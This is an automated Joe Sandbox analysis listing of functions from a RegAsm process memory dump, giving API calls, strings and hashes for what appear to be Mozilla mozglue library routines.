Opcode ID: a644ff982a21b99a27480cc9e0fdbd88a573ffb5951427bc0e4febeddf92b4b4
Instruction ID: 0059e578450a9a2ce02a7ec7d1b40dea8b3309ec5099e32955ae5598cbeb2c5e
Opcode Fuzzy Hash: a644ff982a21b99a27480cc9e0fdbd88a573ffb5951427bc0e4febeddf92b4b4
Instruction Fuzzy Hash: 21315C71F042085BCB0CDF7DD98129EBBE6DB89328F18853EE8059BB41EB70D9048B94

Function 6C71B410 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 104stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C6C4290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C703EBD,6C703EBD,00000000), ref: 6C6C42A9

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6C71B127), ref: 6C71B463
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C71B4C9
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(FFFFFFFF,pid:,00000004), ref: 6C71B4E4

Strings

pid:, xrefs: 6C71B4DE

Memory Dump Source

Source File: 00000003.00000002.2046911307.000000006C6C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6C0000, based on PE: true

Associated: 00000003.00000002.2046895787.000000006C6C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047049118.000000006C73D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047081265.000000006C74E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047103136.000000006C752000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c6c0000_RegAsm.jbxd

Similarity

API ID: _getpidstrlenstrncmptolower
String ID: pid:
API String ID: 1720406129-3403741246
Opcode ID: d9b846a789feb6194a0216b8d1d64fee9029c5651c33125ab9a41b4bd894d5b2
Instruction ID: 3f921d764d99434b6f42390521a2635bef473f6d4232093c2f4e7c84d749cdfa
Opcode Fuzzy Hash: d9b846a789feb6194a0216b8d1d64fee9029c5651c33125ab9a41b4bd894d5b2
Instruction Fuzzy Hash: D63113B1A052088BDB00DFAAD980AAEB7B5FF45318F58452DD821A7F41D731B849CBA1

Function 6C6DBF00 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 52COMMON

Download Yara Rule

APIs

??0ios_base@std@@IAE@XZ.MSVCP140(?,?,?,?,6C727A3F), ref: 6C6DBF11
?init@?$basic_ios@DU?$char_traits@D@std@@@std@@IAEXPAV?$basic_streambuf@DU?$char_traits@D@std@@@2@_N@Z.MSVCP140(?,00000000,?,6C727A3F), ref: 6C6DBF5D
??0?$basic_streambuf@DU?$char_traits@D@std@@@std@@IAE@XZ.MSVCP140(?,6C727A3F), ref: 6C6DBF7E

Strings

sl, xrefs: 6C6DBF84

Memory Dump Source

Source File: 00000003.00000002.2046911307.000000006C6C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6C0000, based on PE: true

Associated: 00000003.00000002.2046895787.000000006C6C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047049118.000000006C73D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047081265.000000006C74E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047103136.000000006C752000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c6c0000_RegAsm.jbxd

Similarity

API ID: U?$char_traits@$D@std@@@std@@$??0?$basic_streambuf@??0ios_base@std@@?init@?$basic_ios@D@std@@@2@_V?$basic_streambuf@
String ID: sl
API String ID: 4279176481-3563831378
Opcode ID: edf3dd4ea2f0c695aa753972fe6840c9f5fbe3678dd1ce8e2e07a8ad0f42d17c
Instruction ID: 07ea320996f3b56c4a15d151559d330e2c1e70a9be3b5974483fb4ef0dc6d42a
Opcode Fuzzy Hash: edf3dd4ea2f0c695aa753972fe6840c9f5fbe3678dd1ce8e2e07a8ad0f42d17c
Instruction Fuzzy Hash: 7711B2792016148FC725CF1CD69996AFBF8FB5930831588ADE98A8B751C731BC00CF90

Function 6C6CF100 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 49libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(shell32,?,6C73D020), ref: 6C6CF122
GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C6CF132

Strings

SHGetKnownFolderPath, xrefs: 6C6CF12C
shell32, xrefs: 6C6CF11D

Memory Dump Source

Source File: 00000003.00000002.2046911307.000000006C6C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6C0000, based on PE: true

Associated: 00000003.00000002.2046895787.000000006C6C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047049118.000000006C73D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047081265.000000006C74E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047103136.000000006C752000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c6c0000_RegAsm.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: SHGetKnownFolderPath$shell32
API String ID: 2574300362-1045111711
Opcode ID: 4878ca468916bd1a12e8ea52bf4a802552f073e17f74e5113ddfdb5dfcbb4441
Instruction ID: 6f645b151ac1e8c7d30511b5fb32a07a81342efeeca79006db3bc2cb16cab3b3
Opcode Fuzzy Hash: 4878ca468916bd1a12e8ea52bf4a802552f073e17f74e5113ddfdb5dfcbb4441
Instruction Fuzzy Hash: 73015E717012199FCB00DF6ADC48AABBBF8FF8A758B504529E849D7600D730AA04CBA5

Function 6C70E550 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C70E577
AcquireSRWLockExclusive.KERNEL32(6C74F4B8), ref: 6C70E584
ReleaseSRWLockExclusive.KERNEL32(6C74F4B8), ref: 6C70E5DE
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C70E8A6

Strings

MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C70E777
MOZ_PROFILER_STARTUP, xrefs: 6C70E5A1, 6C70E5CC, 6C70E5FF, 6C70E62A
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C70E826, 6C70E850
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C70E655
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C70E722, 6C70E750, 6C70E7A2

Memory Dump Source

Source File: 00000003.00000002.2046911307.000000006C6C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6C0000, based on PE: true

Associated: 00000003.00000002.2046895787.000000006C6C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047049118.000000006C73D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047081265.000000006C74E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047103136.000000006C752000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c6c0000_RegAsm.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadXbad_function_call@std@@
String ID: MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL
API String ID: 1483687287-53385798
Opcode ID: 7cfaff276f5bb1f02bbf8f9cd792f910f7c6fb10aff9e9b85847d126eece7d46
Instruction ID: 721a40f2e4d1c2abe38616b4b2c2bd23983404d9113613b35b38a68966ccf234
Opcode Fuzzy Hash: 7cfaff276f5bb1f02bbf8f9cd792f910f7c6fb10aff9e9b85847d126eece7d46
Instruction Fuzzy Hash: 9211A131704658DFCB00AF19C948A6ABBF4FBC932CF44863AE8A547650DB70A805CBD5

Function 6C710C90 Relevance: 6.3, APIs: 5, Instructions: 99stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C710CD5

Part of subcall function 6C6FF960: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C6FF9A7

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C710D40
free.MOZGLUE ref: 6C710DCB

Part of subcall function 6C6E5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C6E5EDB
Part of subcall function 6C6E5E90: memset.VCRUNTIME140(ewrl,000000E5,?), ref: 6C6E5F27
Part of subcall function 6C6E5E90: LeaveCriticalSection.KERNEL32(?), ref: 6C6E5FB2

free.MOZGLUE ref: 6C710DDD
free.MOZGLUE ref: 6C710DF2

Memory Dump Source

Source File: 00000003.00000002.2046911307.000000006C6C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6C0000, based on PE: true

Associated: 00000003.00000002.2046895787.000000006C6C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047049118.000000006C73D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047081265.000000006C74E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047103136.000000006C752000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c6c0000_RegAsm.jbxd

Similarity

API ID: free$CriticalSectionstrlen$EnterImpl@detail@mozilla@@LeaveMutexmemset
String ID:
API String ID: 4069420150-0
Opcode ID: 8471e9a401c2b464f40c202c738c439dd18d6f7e2e16428ca70b7087d588feab
Instruction ID: f9f647e4669ce103dc1ba4d9b7601624968755b5cef4ecad73c480eebfa4cd3d
Opcode Fuzzy Hash: 8471e9a401c2b464f40c202c738c439dd18d6f7e2e16428ca70b7087d588feab
Instruction Fuzzy Hash: 8E41357191D7808BD320CF29C2817AAFBE5BFC9714F148A2EE8D887B51DB709455CB82

Function 6C719120 Relevance: 6.3, APIs: 5, Instructions: 98COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,6C718242,?,00000000,?,6C70B63F), ref: 6C719188
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,?,6C718242,?,00000000,?,6C70B63F), ref: 6C7191BB
memcpy.VCRUNTIME140(00000000,00000008,0000000F,?,?,6C718242,?,00000000,?,6C70B63F), ref: 6C7191EB
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,?,6C718242,?,00000000,?,6C70B63F), ref: 6C719200
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,6C718242,?,00000000,?,6C70B63F), ref: 6C719219

Memory Dump Source

Source File: 00000003.00000002.2046911307.000000006C6C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6C0000, based on PE: true

Associated: 00000003.00000002.2046895787.000000006C6C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047049118.000000006C73D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047081265.000000006C74E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047103136.000000006C752000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c6c0000_RegAsm.jbxd

Similarity

API ID: malloc$freememcpy
String ID:
API String ID: 4259248891-0
Opcode ID: 78723270952b4e2af39980cbcd8180d9301a67d173ad0b23d17430183da6495a
Instruction ID: 343a961d10ab7e93d56316d3ea92a7286003f8df3ad8a25271d4caa385bc38cd
Opcode Fuzzy Hash: 78723270952b4e2af39980cbcd8180d9301a67d173ad0b23d17430183da6495a
Instruction Fuzzy Hash: 3B319731A046058FEB00DF68CC4436A73E5EFA1316F188639D846CBA40FB31E94ACBA1

Function 6C700800 Relevance: 6.3, APIs: 5, Instructions: 71COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C74E7DC), ref: 6C700838
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C70084C
EnterCriticalSection.KERNEL32(?), ref: 6C7008AF
LeaveCriticalSection.KERNEL32(?), ref: 6C7008BD
LeaveCriticalSection.KERNEL32(6C74E7DC), ref: 6C7008D5

Memory Dump Source

Source File: 00000003.00000002.2046911307.000000006C6C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6C0000, based on PE: true

Associated: 00000003.00000002.2046895787.000000006C6C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047049118.000000006C73D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047081265.000000006C74E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047103136.000000006C752000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c6c0000_RegAsm.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memset
String ID:
API String ID: 837921583-0
Opcode ID: 0682fa5cbf815f143bf0eb3d10087d6b4dba3f49949bb5508c1796324c15da97
Instruction ID: de45eca17b62556ca61f789c09b68c50c94dbfe465fa8ac381915ae4d19c138e
Opcode Fuzzy Hash: 0682fa5cbf815f143bf0eb3d10087d6b4dba3f49949bb5508c1796324c15da97
Instruction Fuzzy Hash: EB21F271B0120D8BEF04DF76D948BAEB7B9BF85728F504539D519A7A80DF31A9048BD0

Function 6C71CCF0 Relevance: 6.3, APIs: 4, Instructions: 299COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(000000E0,00000000,?,6C70DA31,00100000,?,?,00000000,?), ref: 6C71CDA4

Part of subcall function 6C6DCA10: malloc.MOZGLUE(?), ref: 6C6DCA26

Part of subcall function 6C71D130: InitializeConditionVariable.KERNEL32(00000010,00020000,00000000,00100000,?,6C71CDBA,00100000,?,00000000,?,6C70DA31,00100000,?,?,00000000,?), ref: 6C71D158
Part of subcall function 6C71D130: InitializeConditionVariable.KERNEL32(00000098,?,6C71CDBA,00100000,?,00000000,?,6C70DA31,00100000,?,?,00000000,?), ref: 6C71D177

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE(?,?,00000000,?,6C70DA31,00100000,?,?,00000000,?), ref: 6C71CDC4

Part of subcall function 6C717480: ReleaseSRWLockExclusive.KERNEL32(?,6C7215FC,?,?,?,?,6C7215FC,?), ref: 6C7174EB

moz_xmalloc.MOZGLUE(00000014,?,?,?,00000000,?,6C70DA31,00100000,?,?,00000000,?), ref: 6C71CECC

Part of subcall function 6C6DCA10: mozalloc_abort.MOZGLUE(?), ref: 6C6DCAA2

Part of subcall function 6C70CB30: floor.API-MS-WIN-CRT-MATH-L1-1-0(?,?,00000000,?,6C71CEEA,?,?,?,?,00000000,?,6C70DA31,00100000,?,?,00000000), ref: 6C70CB57
Part of subcall function 6C70CB30: _beginthreadex.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000,00000000,6C70CBE0,00000000,00000000,00000000,?,?,?,?,00000000,?,6C71CEEA,?,?), ref: 6C70CBAF

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,00000000,?,6C70DA31,00100000,?,?,00000000,?), ref: 6C71D058

Memory Dump Source

Source File: 00000003.00000002.2046911307.000000006C6C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6C0000, based on PE: true

Associated: 00000003.00000002.2046895787.000000006C6C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047049118.000000006C73D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047081265.000000006C74E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047103136.000000006C752000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c6c0000_RegAsm.jbxd

Similarity

API ID: ConditionInitializeVariablemoz_xmalloc$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedExclusiveLockProfileRelease_beginthreadexfloormallocmozalloc_aborttolower
String ID:
API String ID: 861561044-0
Opcode ID: 359c082373256d45a94ca7d88f8268fe211032db9b4812e96e507071ec128b4a
Instruction ID: 4f8ecc921eca2729bf4f62706ba8efab6fdc0a4e8dd40e1ee6431883f1c7ac9a
Opcode Fuzzy Hash: 359c082373256d45a94ca7d88f8268fe211032db9b4812e96e507071ec128b4a
Instruction Fuzzy Hash: 13D18071A04B469FD708CF28C580B99F7E1BF99308F05866DD8598BB12EB31F965CB81

Function 6C6D1720 Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?), ref: 6C6D17B2
memset.VCRUNTIME140(?,00000000,?,?), ref: 6C6D18EE
free.MOZGLUE(?), ref: 6C6D1911
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C6D194C

Memory Dump Source

Source File: 00000003.00000002.2046911307.000000006C6C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6C0000, based on PE: true

Associated: 00000003.00000002.2046895787.000000006C6C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047049118.000000006C73D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047081265.000000006C74E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047103136.000000006C752000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c6c0000_RegAsm.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturnfreememcpymemset
String ID:
API String ID: 3725304770-0
Opcode ID: b553bb855293fbd28bb1d51aa6bbe2e8d8120c3f76e0635737e0bcdc71728e34
Instruction ID: 98c5dc5529148ac1fbcc1a9944702433443213538894e013168e2c09d68a301a
Opcode Fuzzy Hash: b553bb855293fbd28bb1d51aa6bbe2e8d8120c3f76e0635737e0bcdc71728e34
Instruction Fuzzy Hash: 6481D070A15205DFCB08CF68D8849EEBBB2FF89324F05462DE815AB750D770E844CBA6

Function 6C6E5C50 Relevance: 6.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

GetTickCount64.KERNEL32 ref: 6C6E5D40
EnterCriticalSection.KERNEL32(6C74F688), ref: 6C6E5D67
__aulldiv.LIBCMT ref: 6C6E5DB4
LeaveCriticalSection.KERNEL32(6C74F688), ref: 6C6E5DED

Memory Dump Source

Source File: 00000003.00000002.2046911307.000000006C6C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6C0000, based on PE: true

Associated: 00000003.00000002.2046895787.000000006C6C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047049118.000000006C73D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047081265.000000006C74E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047103136.000000006C752000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c6c0000_RegAsm.jbxd

Similarity

API ID: CriticalSection$Count64EnterLeaveTick__aulldiv
String ID:
API String ID: 557828605-0
Opcode ID: c3c37be68ecc293cbdecb8f7a5dc84705a6f9b08db7391c6e245e551a8e8e497
Instruction ID: 0232fe880aeaa34ddf9665a33668bda5eb156205a6870b18acc88820bb8b937d
Opcode Fuzzy Hash: c3c37be68ecc293cbdecb8f7a5dc84705a6f9b08db7391c6e245e551a8e8e497
Instruction Fuzzy Hash: A4518171E051298FCF08DF68C854ABEBBF2FB89318F29862EC815A7750C7306945CB95

Function 6C727170 Relevance: 6.1, APIs: 4, Instructions: 138COMMON

Download Yara Rule

APIs

GetTickCount64.KERNEL32 ref: 6C727250
EnterCriticalSection.KERNEL32(6C74F688), ref: 6C727277
__aulldiv.LIBCMT ref: 6C7272C4
LeaveCriticalSection.KERNEL32(6C74F688), ref: 6C7272F7

Memory Dump Source

Source File: 00000003.00000002.2046911307.000000006C6C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6C0000, based on PE: true

Associated: 00000003.00000002.2046895787.000000006C6C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047049118.000000006C73D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047081265.000000006C74E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047103136.000000006C752000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c6c0000_RegAsm.jbxd

Similarity

API ID: CriticalSection$Count64EnterLeaveTick__aulldiv
String ID:
API String ID: 557828605-0
Opcode ID: bafe37c99ee1ce7aaeee6419be27a95a1806fc1a06a4bb7504e3c8ead33cd654
Instruction ID: 64524f588953639e66abd11277133d1580b6c216cc9afeeef6e72a9d022c4a0d
Opcode Fuzzy Hash: bafe37c99ee1ce7aaeee6419be27a95a1806fc1a06a4bb7504e3c8ead33cd654
Instruction Fuzzy Hash: A4519F71E011298FCF08DFA8CA94ABEBBB1FB89308F15C62AD815A7751C7346D45CB91

Function 6C6CCDF0 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 128COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,-000000EA,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6CCEBD
memcpy.VCRUNTIME140(?,?,?,?,?,?,?), ref: 6C6CCEF5
memset.VCRUNTIME140(-000000E5,00000030,?,?,?,?,?,?,?,?), ref: 6C6CCF4E

Strings

0, xrefs: 6C6CCF30

Memory Dump Source

Source File: 00000003.00000002.2046911307.000000006C6C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6C0000, based on PE: true

Associated: 00000003.00000002.2046895787.000000006C6C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047049118.000000006C73D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047081265.000000006C74E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047103136.000000006C752000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c6c0000_RegAsm.jbxd

Similarity

API ID: memcpy$memset
String ID: 0
API String ID: 438689982-4108050209
Opcode ID: 11144fd202b18ea6348056dbb26b671d2ecee72f68b3c14f70122ad2fa3c7207
Instruction ID: c75ebe45896f14fd9bb33fcbd6b8e8cf6c43e0438abedb15511491804cd64319
Opcode Fuzzy Hash: 11144fd202b18ea6348056dbb26b671d2ecee72f68b3c14f70122ad2fa3c7207
Instruction Fuzzy Hash: 39511575A0026A8FCB00CF18C890A9AFBB5EF99304F19859DD85A5F352D731ED06CBE1

Function 6C7277D0 Relevance: 6.1, APIs: 4, Instructions: 113stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C7277FA
?StringToDouble@StringToDoubleConverter@double_conversion@@QBENPBDHPAH@Z.MOZGLUE(00000001,00000000,?), ref: 6C727829

Part of subcall function 6C6FCC38: GetCurrentProcess.KERNEL32(?,?,?,?,6C6C31A7), ref: 6C6FCC45
Part of subcall function 6C6FCC38: TerminateProcess.KERNEL32(00000000,00000003,?,?,?,?,6C6C31A7), ref: 6C6FCC4E

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6C72789F
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6C7278CF

Part of subcall function 6C6C4DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C6C4E5A
Part of subcall function 6C6C4DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C6C4E97

Part of subcall function 6C6C4290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C703EBD,6C703EBD,00000000), ref: 6C6C42A9

Memory Dump Source

Source File: 00000003.00000002.2046911307.000000006C6C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6C0000, based on PE: true

Associated: 00000003.00000002.2046895787.000000006C6C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047049118.000000006C73D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047081265.000000006C74E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047103136.000000006C752000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c6c0000_RegAsm.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$DtoaProcessstrlen$Ascii@Builder@2@Builder@2@@Converter@CreateCurrentDecimalDouble@EcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestTerminateV12@
String ID:
API String ID: 2525797420-0
Opcode ID: b944f211e1100f55f1cfaaead0eebc694a27b781e0d5452bdd76daa10bf90571
Instruction ID: e27dca255317756e80a28f28f96097619ab8f7a7e2ce2d0c84e6430f97460c06
Opcode Fuzzy Hash: b944f211e1100f55f1cfaaead0eebc694a27b781e0d5452bdd76daa10bf90571
Instruction Fuzzy Hash: AA41AC719047069BD300DF29C48056AFBF4FFCA268F204A2EE4A987641DB71E55ACBD6

Function 6C706470 Relevance: 6.1, APIs: 4, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000200,?,?,?,?,?,?,?,?,?,?,?,?,6C7082BC,?,?), ref: 6C70649B

Part of subcall function 6C6DCA10: malloc.MOZGLUE(?), ref: 6C6DCA26

memset.VCRUNTIME140(00000000,00000000,00000200,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C7064A9

Part of subcall function 6C6FFA80: GetCurrentThreadId.KERNEL32 ref: 6C6FFA8D
Part of subcall function 6C6FFA80: AcquireSRWLockExclusive.KERNEL32(6C74F448), ref: 6C6FFA99

ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C70653F
free.MOZGLUE(?), ref: 6C70655A

Memory Dump Source

Source File: 00000003.00000002.2046911307.000000006C6C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6C0000, based on PE: true

Associated: 00000003.00000002.2046895787.000000006C6C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047049118.000000006C73D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047081265.000000006C74E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047103136.000000006C752000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c6c0000_RegAsm.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfreemallocmemsetmoz_xmalloc
String ID:
API String ID: 3596744550-0
Opcode ID: 52a7eb2bf39428960083fcd5e2b8e60d51470de87b1407aa166281720b464830
Instruction ID: 1e077e6f7c6606f41f2bf2dc37d7bce1a73c65009d9ba5aaeed6b9a49e1f986e
Opcode Fuzzy Hash: 52a7eb2bf39428960083fcd5e2b8e60d51470de87b1407aa166281720b464830
Instruction Fuzzy Hash: 113181B5A043159FC700CF14D994A9AB7E4BF89314F40842EE85A87741EB30EA19CB96

Function 6C6FFF60 Relevance: 6.1, APIs: 4, Instructions: 83COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,80000001,80000000,?,6C71D019,?,?,?,?,?,00000000,?,6C70DA31,00100000,?), ref: 6C6FFFD3
memcpy.VCRUNTIME140(00000000,?,?,?,6C71D019,?,?,?,?,?,00000000,?,6C70DA31,00100000,?,?), ref: 6C6FFFF5
free.MOZGLUE(?,?,?,?,?,6C71D019,?,?,?,?,?,00000000,?,6C70DA31,00100000,?), ref: 6C70001B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,6C71D019,?,?,?,?,?,00000000,?,6C70DA31,00100000,?,?), ref: 6C70002A

Memory Dump Source

Source File: 00000003.00000002.2046911307.000000006C6C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6C0000, based on PE: true

Associated: 00000003.00000002.2046895787.000000006C6C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047049118.000000006C73D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047081265.000000006C74E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047103136.000000006C752000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c6c0000_RegAsm.jbxd

Similarity

API ID: memcpy$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 826125452-0
Opcode ID: b50f01632a95564f50b15b1833aedc707f57c8aa2578a1b1b8be2aeed9b0c5ab
